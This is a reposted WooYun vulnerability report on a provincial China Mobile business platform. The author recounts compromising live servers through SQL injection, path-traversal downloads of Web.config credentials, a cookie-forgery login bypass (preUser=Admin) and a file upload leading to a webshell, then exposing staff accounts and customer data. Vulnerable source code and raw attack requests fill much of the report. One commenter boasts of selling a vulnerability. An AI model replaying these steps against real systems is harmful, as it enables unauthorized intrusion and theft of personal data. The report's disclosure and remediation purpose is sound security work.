中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

admin 2015年5月23日21:56:30评论286 views字数 291阅读0分58秒阅读模式
摘要

2014-08-17: 细节已通知厂商并且等待厂商处理中
2014-08-20: 厂商已经确认,细节仅向厂商公开
2014-08-30: 细节向核心白帽子及相关领域专家公开
2014-09-09: 细节向普通白帽子公开
2014-09-19: 细节向实习白帽子公开
2014-09-29: 细节向公众公开

漏洞概要 关注数(17) 关注此漏洞

缺陷编号: WooYun-2014-72501

漏洞标题: 中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

相关厂商: cncert国家应急响应中心

漏洞作者: HackBraid中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

提交时间: 2014-08-17 12:02

公开时间: 2014-09-29 19:36

漏洞类型: 地下0day/成功的入侵事件

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: webshell webshell webshell

2人收藏


漏洞详情

披露状态:

2014-08-17: 细节已通知厂商并且等待厂商处理中
2014-08-20: 厂商已经确认,细节仅向厂商公开
2014-08-30: 细节向核心白帽子及相关领域专家公开
2014-09-09: 细节向普通白帽子公开
2014-09-19: 细节向实习白帽子公开
2014-09-29: 细节向公众公开

简要描述:

这次报告主要内容如下(涉及到的webshell和管理员账户已自行删除)
※通过高危SQL注入漏洞,由于权限很高可以直接添加管理员账户并成功入侵拿到一台服务器
※通过审计源代码,得到两个任意文件下载、一处任意文件上传可拿shell、多处越权、多处注入、几处奇葩的权限绕过(上传拿webshell与之后通过SQL注入入侵其他服务器都基于这个权限绕过)。
※通过审计得到的SQL注入漏洞成功入侵拿到另外一台服务器,泄露大大量客户信息

详细说明:

code 区域
#落脚点(SQL注入)

**.**.**.**/PTMS/getPass.asp?UID=1 UID为注入点

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

sa权限,直接添加管理账户l密码为1

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

code 区域
审计篇

#####################################任意文件下载#######################################

1.**.**.**.**/dbBackup/download.asp?p=../&n=Web.config

源码如下:

code 区域
<%
Dim strFilename,S,Fso,F,intFilelength,sPath
sPath = Request("p") //获取路径
If sPath<>"" Then sPath = sPath & "/"
strFilename = Server.MapPath(sPath & Trim(Request("n"))) //这里构建我们要下载的文件
Response.Buffer = True
Response.Clear
Set S = Server.CreateObject("ADODB.Stream")
S.Open
S.Type = 1
On Error Resume Next
Set Fso = Server.CreateObject("Scripting.FileSystemObject")
If Not Fso.FileExists(strFilename) Then
Response.Write("<center>")
Response.Write("<h1><img src='../image/404.gif' align=absmiddle>出错啦!</h1>你要下载的文件[" & Request("n") & "]不存在!<p>")
Response.Write("文件已过期或已丢失。<br><br><input type=button value='返回上一页面' onclick=""history.go(-1);"" >")
Response.Write("</center>")
Response.End
End If

Set F = Fso.GetFile(strFilename)
intFilelength = F.Size '获取文件大小
S.LoadFromFile(strFilename)
If Err Then
Response.Write("<h1>Error: </h1>Unknown Error!<p>")
Response.End
End If

Response.AddHeader "Content-Disposition","attachment;filename="&F.name
Response.AddHeader "Content-Length",intFilelength
Response.CharSet = "GB2312"
Response.ContentType = "application/octet-stream"
Do While Not S.EOS
Response.BinaryWrite S.Read(1024*1024*4)
Response.Flush
Loop
S.Close
Set S = Nothing
%>

Web.Config包含了数据库连接信息:

code 区域
<?xml version="1.0" encoding="gb2312" ?>

<configuration>
<configSections>
<sectionGroup name="applicationSettings" type="System.Configuration.ApplicationSettingsGroup, System, Version=**.**.**.**, Culture=neutral, PublicKeyToken=b77***4e089" >
<section name="myBOSS.My.MySettings" type="System.Configuration.ClientSettingsSection, System, Version=**.**.**.**, Culture=neutral, PublicKeyToken=b77***4e089" requirePermission="false" />
</sectionGroup>
</configSections>
<appSettings>
<add key="sConnect" value="Provider=SQLOLEDB;Server=.;UID=sa;PWD=l***db;DATABASE=db***_LF" />
<add key="sUpPath" value="upFiles" />
</appSettings>
<connectionStrings/>

<system.web>
<compilation debug="true" strict="false" explicit="true" />
<pages>
<namespaces>
<clear />
<add namespace="System" />
<add namespace="System.Collections" />
<add namespace="System.Collections.Specialized" />
<add namespace="System.Configuration" />
<add namespace="System.Text" />
<add namespace="System.Text.RegularExpressions" />
<add namespace="System.Web" />
<add namespace="System.Web.Caching" />
<add namespace="System.Web.SessionState" />
<add namespace="System.Web.Security" />
<add namespace="System.Web.Profile" />
<add namespace="System.Web.UI" />
<add namespace="System.Web.UI.WebControls" />
<add namespace="System.Web.UI.WebControls.WebParts" />
<add namespace="System.Web.UI.HtmlControls" />
</namespaces>
</pages>

<authentication mode="Windows" />

<globalization requestEncoding="gb2312" responseEncoding="gb2312" />
<httpRuntime useFullyQualifiedRedirectUrl="true" maxRequestLength="409600" executionTimeout="900"/>
<sessionState mode="InProc" stateConnectionString="tcpip=**.**.**.**:42424" sqlConnectionString="data source=**.**.**.**;Trusted_Connection=yes" cookieless="false" timeout="30"/>
</system.web>
</configuration>

2.**.**.**.**/PTMS/Data/download.asp?n=../../Web.config 看源码,与1稍有不同

code 区域
<%
Dim strFilename,S,Fso,F,intFilelength
strFilename = Server.MapPath(Trim(Request("n")))
Response.Buffer = True
Response.Clear
Set S = Server.CreateObject("ADODB.Stream")
S.Open
S.Type = 1
On Error Resume Next
Set Fso = Server.CreateObject("Scripting.FileSystemObject")
If Not Fso.FileExists(strFilename) Then
Response.Write("<h1>发现错误 Error:</h1>"&strFilename&"<br>你要下载的文件不存在!<p>")
Response.Write("<br><br><br><div align=center><a href='#' onclick='javascript:history.go(-1);'>返回前一页</a>")
Response.End
End If

Set F = Fso.GetFile(strFilename)
intFilelength = F.Size '获取文件大小
S.LoadFromFile(strFilename)
If Err Then
Response.Write("<h1>Error: </h1>Unknown Error!<p>")
Response.End
End If

Response.AddHeader "Content-Disposition","attachment;filename="&F.name
Response.AddHeader "Content-Length",intFilelength
Response.CharSet = "GB2312"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite S.Read
Response.Flush
S.Close
Set S = Nothing
%>

##############################几处奇葩的权限绕过(之后很多漏洞基于这漏洞)##########################

在webroot/PTMS下大部分文件需要登录验证

以/PTMS/home.asp文件为例:

<!-- #include file="connect.asp" -->

<!-- #include file="docheckuser.asp" -->

我们看下docheckuser.asp文件

code 区域
<%Dim sUserID, sUserName
sUserID = Request.Cookies("preUser") //亮点有木有!!!
If sUserID="" Then
Response.Write "<script>alert('您尚未登录,或已经超时,请重新登录系统!');window.parent.dologin();</script>"
Response.End
End If
sUserName = DoGetSQLValue("select 用户名称 from tabUser where 用户帐号='" & sUserID & "'")
%>

仅仅是判断Cookies中preUser字段是不是空!

另外几处为:

docheckuser2.asp

docheckuser3.asp

#####################################任意文件上传#######################################

下面这个任意文件上传点,我们设定cookie中preUser=Admin,从下载的使用手册看到默认的管理员Admin

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

上传点:

**.**.**.**/PTMS/ishell.asp?listFile.asp?ID=1384&sKey=

我们直接刷新,提示需要登录

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

抓包并设定preUser=Admin

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

ok,我们再次抓包,修改后缀即可得webshell

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

单击301.aspx,即可进入shell页面

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

##################################大量SQL注入漏洞#######################################

1.PTMS/adjProj.asp使用上面的绕过,添加preUser=Admin抓包(存在docheckuser.asp)

code 区域
<!-- #include file="connect.asp" -->
<!-- #include file="docheckuser2.asp" -->
<%Dim sID
sID = Request.QueryString("ID")// 注入点
%>
<%
If Request.QueryString("flag")=1 Then
Dim sFs,sType,sItem,sDir,sVal
sFs = Request.Form("cfs")
sType = Request.Form("ctype")
sItem = Request.Form("citem")
sDir = Request.Form("cdir")
sVal = Request.Form("cval")

Dim i, pAry, sPrjName, idx, sRet, sRet1, sRet2, sRet3
Select Case sFs
Case "0" 'Do ReName
sRet = ""
Set RS = CreateObject("Adodb.Recordset")
RS.Open "SELECT * FROM tabProjClass WHERE ID=" & sID, CN, 1, 1
sPrjName = RS.Fields("项目名称").Value
pAry = Split(RS.Fields(sType).Value, VbCrLf)
For i=0 To UBound(pAry)
If pAry(i)=sItem Then sRet = sRet & sVal Else sRet = sRet & pAry(i)
If i<UBound(pAry) Then sRet=sRet & VbCrLf
Next
CN.Execute "UPDATE tabProjClass SET " & sType & "='" & sRet & "' WHERE ID=" & sID
CN.Execute "UPDATE tabProject SET " & sType & "='" & sRet & "' WHERE 所属项目='" & sPrjName & "'"

抓包,添加preUser字段为Admin

code 区域
GET /PTMS/adjProj.asp?ID=1300* HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;

Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: **.**.**.**
DNT: 1
Proxy-Connection: Keep-Alive
Cookie:

ASPSESSIONIDCQRSBDDD=IDKENFKCGMPKPHBIJAOLCEME;preUser=Admin

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

2.我们看下/PTMS/chekFile.asp(不存在docheckuser.asp)

code 区域
<!-- #include file="connect.asp" -->
<% Dim sID, sKey, sObj
sID = Request.Form("ID") //POST提交ID
sKey = Unescape(Request.Form("sKey")) //POST提交sKey
sObj = Request.Form("obj")

On Error Resume Next
Err.Clear
Set RS = CreateObject("Adodb.Recordset")
RS.Open "SELECT * FROM tabFiles WHERE PID=" & sID & " AND 所属里程碑='" & sKey & "'",CN,1,1 //直接查询,没任何过滤
Dim ifc
ifc = RS.RecordCount
CloseDB()

'无附件时返回控件名称,否则忽略
If ifc=0 Then Response.Write sObj Else Response.Write ""
%>

抓包如下:

code 区域
POST /PTMS/chekFile.asp HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml

+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)

AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/34.0.1847.116 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: ASP.NET_SessionId=jfhtb445x04kgt55fp21nx45;

ASPSESSIONIDCAQCAQDQ=CIOLCKPBMIMOGLOKLGBNIANP;

ASPXSpy=10dfc3c8e8208c98f8e42935c0fe42e7; preUser=Admin;

username=Admin; LastURL=; pRn=20; sGroupVal=

%C5%A9%D2%B5%D2%F8%D0%D0%B4%F3%CF%EE%C4%BF; cod=1; csd=8

ID=1*&sKey=1*

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

在PTMS目录下还有好多文件就不一一校验了,你们修补可以通过session+cookie验证而不是cookie。

#####################################越权操作#########################################

**.**.**.**/eBBS/bbsList.aspx 写着内部网络使用

**.**.**.**/eBBS/showBBs.aspx

**.**.**.**/eBBS/addRec.aspx

**.**.**.**/eBBS/myeBBs.aspx

code 区域
审计篇

0

**.**.**.**

通过上面的越权注入,添加账户,攻陷服务器

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

漏洞证明:

http://**.**.**.**/2012/product.asp?ID=12 为河北省移动量身打造的

code 区域
审计篇

1

河北省廊坊移动的账户密码一览

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

移动重要客户的联系方式,项目实施的位置信息等

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

河北省承德移动的账户密码一览

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

在/PTMS/attFile/有大量交易、布线信息

中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

修复方案:

一个个修补

先修复那个权限绕过,在修补最开始的注入点。

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-20 09:37

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT直接通报给中国移动集团公司,由其后续下发给省公司处置,感谢白帽子的认真测试。rank 20

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-08-15 16:08 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)

    0

    看看

  2. 2014-08-15 20:22 | 小鬼 ( 路人 | Rank:22 漏洞数:2 | 移动漏洞开发)

    0

    重要平台?难道4A爆出来啦?

  3. 2014-08-19 13:10 | along ( 实习白帽子 | Rank:45 漏洞数:7 | 关注信息安全,阿龙)

    0

    业务平台

  4. 2014-09-30 11:50 | 小卖部部长 ( 路人 | Rank:24 漏洞数:3 | 别拿部长不当干部!)

    0

    @小鬼 同行?之前集团公司内部安全检测时,4A的确漏洞多多~

  5. 2014-10-14 20:05 | 小鬼 ( 路人 | Rank:22 漏洞数:2 | 移动漏洞开发)

    0

    @小卖部部长 是的,4A漏洞被我爆出来了,竟然啥好处都没有,直接卖给别人了

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin